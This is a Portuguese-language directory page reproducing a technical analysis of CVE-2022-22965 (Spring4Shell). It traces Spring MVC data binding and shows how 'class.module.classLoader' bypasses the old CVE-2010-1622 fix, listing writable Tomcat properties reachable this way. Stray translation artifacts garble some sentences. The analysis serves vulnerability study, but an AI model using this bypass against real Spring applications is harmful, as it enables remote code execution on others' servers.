Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
spring-RCE-CVE-2022-22965 — Análise educacional e exploit de prova de conceito para CVE-2022-22965, uma vulnerabilidade de execução remota de código no Spring MVC/WebFlux via vinculação de dados em JDK 9+ com implantação WAR no Tomcat. | Kitploit
Ferramentas/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

Análise educacional e exploit de prova de conceito para CVE-2022-22965, uma vulnerabilidade de execução remota de código no Spring MVC/WebFlux via vinculação de dados em JDK 9+ com implantação WAR no Tomcat.

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Introdução à Vulnerabilidade

Recentemente, a Spring revelou uma vulnerabilidade CVE de alto impacto. As informações do CVE indicam: "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it." Esta análise estuda o princípio da vulnerabilidade através da reprodução do CVE.

API Java Bean

Antes de analisar o princípio da ligação de parâmetros do Spring MVC, vamos examinar algumas APIs relacionadas ao Java Bean.

  • Java Bean: Na verdade, é uma especificação. Quando uma classe atende a essa especificação, ela pode ser chamada por outras classes específicas. Uma classe usada como Java Bean contém um conjunto de propriedades privadas, com métodos públicos get/is() ou set() para ler e escrever as propriedades.
  • Introspector (Introspecção): The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean. For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean. (O Java fornece um tratamento padrão para propriedades, eventos e métodos de classes Java Bean. Por exemplo, ao procurar uma propriedade/método em uma classe bean, se não for encontrada na própria classe, a busca continua nas superclasses, seguindo essa convenção.)
  • BeanInfo: Introspect on a Java Bean and learn about all its properties, exposed methods, and events. If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache. (Realiza a introspecção de um Java Bean e descobre todas as suas propriedades, métodos expostos e eventos. Se a classe BeanInfo de um Java Bean já foi inspecionada anteriormente, ela é recuperada do cache BeanInfo.)
  • PropertyDescriptor: Usado para descrever as propriedades expostas por um Java Bean através de um conjunto de métodos accessors.
  • Declare a seguinte classe Java Bean:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    Utilize o seguinte código de teste para ver as informações obtidas por `Introspector.getBeanInfo`:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    [No source content provided to translate.]```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    Além do esperado 'age' e 'então', há também um atributo 'class', o nome da classe é 'Class'. Se continuar chamando Introspector.getBeanInfo(Class.class), você pode obter mais informações como 'classLoader', etc.:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    Além disso, compare a diferença das informações obtidas por Introspector.getBeanInfo(Class.class) em diferentes versões do JDK: acima está a saída no jdk-11, abaixo está a saída no JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    [No input content provided to translate.]```text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    jdk9相比JDK8多出来两个属性module和packageName,而JDK11上除了module和packageName属性之外还有另外两个属性nestHost和nestMembers。

    data binding数据绑定

    web类框架中的参数绑定过程,通俗点来说就是,框架把http请求中的字符串形式的参数转换成服务端真正需要的类型,以spring MVC为例: 定义两个Bean 类User和UserInfo:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    Use o seguinte controller como teste:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    Quando acessamos /get-user-info?password=password&user.name=enokiy, o framework instancia automaticamente a classe UserInfo e vincula os valores às propriedades correspondentes (através de user.name é possível acessar aninhadamente a propriedade userInfo.user.name):

    Vamos ver o fluxo completo da vinculação de dados no Spring MVC através da depuração: Começando pelo método doDispatch de org.springframework.web.servlet.DispatcherServlet, o método doDispatch primeiramente obtém o mappedHandler com base na requisição, depois obtém o HandlerAdapter e, através da chamada do método handle() do HandlerAdapter, processa a requisição e retorna um ModelAndView:

    Aqui, em HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()), o ha obtido é na verdade da classe org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter. Após executar o método handle() do HandlerAdapter, entra no método invokeHandleMethod do RequestMappingHandlerAdapter:

    Em seguida, no método invokeHandleMethod, uma instância de ServletInvocableHandlerMethod chamada invocableMethod é gerada a partir do handlerMethod, configurando o dataBinderFactory, modelFactory e argumentResolvers correspondentes. Depois, entra no método invokeAndHandle de invocableMethod, que chama invokeForRequest, que chama getMethodArgumentValues, onde os argumentos são resolvidos por diferentes resolvedores de parâmetros:

    Os resolvedores de parâmetros aqui são os seguintes:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    Então como saber qual analisador de argumentos específico deve ser usado para analisar os parâmetros na requisição atual? No Spring MVC, isso é determinado com base nas informações das anotações dos parâmetros (a lógica do código está no método `HandlerMethodArgumentResolverComposite#getArgumentResolver`). Por exemplo, se forem usadas as anotações `@RequestMapping` e `@ModelAttribute`, então `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor` é utilizado; `@RequestParam` corresponde a `RequestParamMethodArgumentResolver`, etc.
    
    No demo atual, a anotação usada é `@RequestMapping`, então vamos continuar analisando o processo de vinculação de parâmetros na classe `ServletModelAttributeMethodProcessor`:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    Obtém o nome do parâmetro do modelo de acordo com o parâmetro da solicitação. Primeiro, verifica se o ModelAndViewContainer contém o nome do parâmetro. Se sim, obtém o atributo diretamente do ModelAndViewContainer; caso contrário, entra no método ServletModelAttributeMethodProcessor#createAttribute para criar o atributo do modelo:

    • ServletModelAttributeMethodProcessor#createAttribute:

      Primeiro, processa se a uri da solicitação e o parâmetro contêm o nome do atributo (método getRequestValueForAttribute) na classe atual. Se sim, retorna o valor; caso contrário, vai para o método super.createAttribute:

    • binderFactory.createBinder: Cria um WebRequestDataBinder

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

    No método DataBinder#doBind, há algumas verificações de allowFields e requiredFields. Na versão de teste atual, o padrão está vazio:

    No AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid), ele chama em loop o método AbstractPropertyAccessor#setPropertyValue para vincular o valor do atributo de cada parâmetro da solicitação. Durante o processo de vinculação, se for encontrado que o nome do parâmetro contém '.', também é necessário chamar getNestedPropertyAccessor para vincular recursivamente o atributo após o '.':

    O processo de obtenção recursiva do valor do atributo entra no seguinte fluxo de dados:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    En `getLocalPropertyHandler`, o método `getCachedIntrospectionResults` é chamado para verificar se a propriedade atual existe no `cachedIntrospectionResults`. Além das propriedades da requisição atual, esse `cachedIntrospectionResults` também possui uma propriedade chamada `class`:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    Conforme mencionado anteriormente sobre o mecanismo de introspecção ao obter `BeanInfo`, se a classe `BeanInfo` de um Java Bean já tiver sido inspecionada anteriormente, a classe `BeanInfo` é recuperada do cache de `BeanInfo`. Portanto, a função do `cachedIntrospectionResults` aqui deve ser implementar essa característica:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    Até aqui, vamos resumir o processo de vinculação de parâmetros no Spring MVC:
    1. Durante a inicialização do Spring MVC, a classe `RequestMappingHandlerAdapter` adiciona alguns resolvedores de parâmetros padrão ao `argumentResolvers`. Quando o Spring MVC recebe uma requisição, ela entra no `doDispatch` do `DispatcherServlet`. No método `doDispatch`, primeiro obtém o `mappedHandler` com base na requisição, depois obtém o `HandlerAdapter`, e então chama o método `handle()` do `HandlerAdapter` para processar a requisição especificamente, retornando um `ModelAndView`. O `ViewResolver` analisa e retorna uma `View`, e o resolvedor de front-end renderiza a view final.
    ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    2. Durante o processamento específico da requisição no método `handle()` do `HandlerAdapter`, uma instância `ServletInvocableHandlerMethod` chamada `invocableMethod` é gerada a partir do `handlerMethod`, e são configurados o `dataBinderFactory`, o `modelFactory` e os `argumentResolvers` correspondentes. Em seguida, no método `invokeAndHandle` → `invokeForRequest` → `getMethodArgumentValues` do `invocableMethod`, a análise é realizada por meio de diferentes resolvedores de parâmetros, sendo que esses resolvedores são determinados com base nas informações de anotação dos parâmetros.
    3. O resolvedor de parâmetros realiza a análise dos parâmetros, primeiro gerando uma instância (propriedade) correspondente ao nome do parâmetro do `handlerMethod` a partir dos parâmetros da requisição. Depois, através do `DataBinder`, chega ao `BeanWrapperImpl` para atribuir valores às propriedades relacionadas ao bean. O `BeanWrapperImpl` implementa concretamente os métodos de criação, manutenção e modificação de beans.  
       O método `setPropertyValue` pode injetar valores de parâmetros nas propriedades relevantes do bean especificado (incluindo list, map etc.), e também pode definir valores de propriedade de forma aninhada:
    
    ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    Tanto a vinculação de dados do Spring MVC (vincula vários parâmetros aos parâmetros do método de tratamento de requisição anotado com `@RequestMapping`) quanto o `BeanFactory` (que processa a anotação `@Autowired`) utilizam a interface `BeanWrapper`.
    
    ### Sobrescrita de Variáveis
    
    Conforme mencionado anteriormente, o método `setPropertyValue`, ao definir propriedades de forma aninhada, consulta o `cachedIntrospectionResults`. Além dos parâmetros da requisição, o `cachedIntrospectionResults` também possui uma propriedade `class` extra. Portanto, é possível acessar propriedades do `classLoader` por meio de `class.classLoader.xx` na requisição. Essa é a vulnerabilidade CVE-2010-1622 das versões antigas do Spring. Já a atual CVE-2022-22965 é uma bypass do mecanismo de proteção dessa vulnerabilidade:
    
    A construção do `cachedIntrospectionResults` é a seguinte:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. As informações de propriedades da `beanClass` são extraídas por `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Como o método `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` não especifica uma `stopClass`, quando uma propriedade não é encontrada na classe atual, a busca continua nas classes pai.
    2. As propriedades `ClassLoader` e `protectionDomain` da classe `Class` são desabilitadas. Essa é a forma de defesa do CVE-2010-1622.
    
    No início do artigo, foi comparado que, em diferentes versões do JDK, os valores de propriedade obtidos por `Introspector.getBeanInfo(xxx)` são diferentes. No JDK 9 e superiores, duas propriedades adicionais, `module` e `packageName`, aparecem. Dentro da propriedade `module` existe uma propriedade `classLoader`. Portanto, é possível usar a propriedade `module` para acessar o `classLoader`, contornando assim a defesa do CVE-2010-1622 para realizar a sobrescrita de variáveis:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### Exploração da Vulnerabilidade
    
    Depois de entender que a causa raiz dessa vulnerabilidade é a sobrescrita de variáveis, vamos examinar as questões durante a exploração:
    1. Quais variáveis podem ser sobrescritas?
    2. Que impacto a sobrescrita dessas variáveis trará?
    
    Agora sabemos que é possível realizar a sobrescrita de variáveis por meio de `class.module.classLoader`. Então, quais variáveis específicas podem ser sobrescritas? Em diferentes cenários de implantação do Spring MVC, o `classLoader` é diferente, portanto, as formas de exploração não são universais.
    
    | Forma de implantação | classLoader |
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    Sob implantação war no Tomcat (ambiente de teste atual: "apache-tomcat-8.5.8" + "jdk-11.0.1"), as propriedades legíveis e graváveis acessíveis sob `class.module` são as seguintes (incompleto, não foram coletadas propriedades que são List/Map/Set):
    <details>
    <summary>
    Clique para ver as propriedades legíveis e graváveis acessíveis sob `class.module`
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
    class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
    class.module.classLoader.resources.context.authenticator.secureRandomClass
    class.module.classLoader.resources.context.authenticator.secureRandomProvider
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.scanAllDirectories
    class.module.classLoader.resources.context.jarScanner.scanAllFiles
    class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
    class.module.classLoader.resources.context.jarScanner.scanClassPath
    class.module.classLoader.resources.context.jarScanner.scanManifest
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.loader.context
    class.module.classLoader.resources.context.loader.delegate
    class.module.classLoader.resources.context.loader.domain
    class.module.classLoader.resources.context.loader.loaderClass
    class.module.classLoader.resources.context.loader.reloadable
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.loginConfig.authMethod
    class.module.classLoader.resources.context.loginConfig.errorPage
    class.module.classLoader.resources.context.loginConfig.loginPage
    class.module.classLoader.resources.context.loginConfig.realmName
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.manager.context
    class.module.classLoader.resources.context.manager.domain
    class.module.classLoader.resources.context.manager.duplicates
    class.module.classLoader.resources.context.manager.expiredSessions
    class.module.classLoader.resources.context.manager.maxActive
    class.module.classLoader.resources.context.manager.maxActiveSessions
    class.module.classLoader.resources.context.manager.pathname
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.processingTime
    class.module.classLoader.resources.context.manager.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.secureRandomClass
    class.module.classLoader.resources.context.manager.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
    class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
    class.module.classLoader.resources.context.manager.sessionCounter
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionMaxAliveTime
    class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
    class.module.classLoader.resources.context.namingContextListener.name
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.namingResources.container
    class.module.classLoader.resources.context.namingResources.domain
    class.module.classLoader.resources.context.namingResources.transaction
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parent.appBase
    class.module.classLoader.resources.context.parent.autoDeploy
    class.module.classLoader.resources.context.parent.backgroundProcessorDelay
